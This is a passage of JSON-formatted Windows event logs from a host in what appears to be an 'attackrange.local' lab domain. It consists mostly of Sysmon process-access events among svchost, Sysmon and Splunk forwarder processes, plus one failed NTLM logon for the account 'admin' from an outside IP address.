11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221482,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59210\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59210","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.609\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nSourceProcessId: 2412\r\nSourceThreadId: 2400\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.609","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","SourceProcessId":"2412","SourceThreadId":"2400","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.609\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1000\r\nCallTrace: 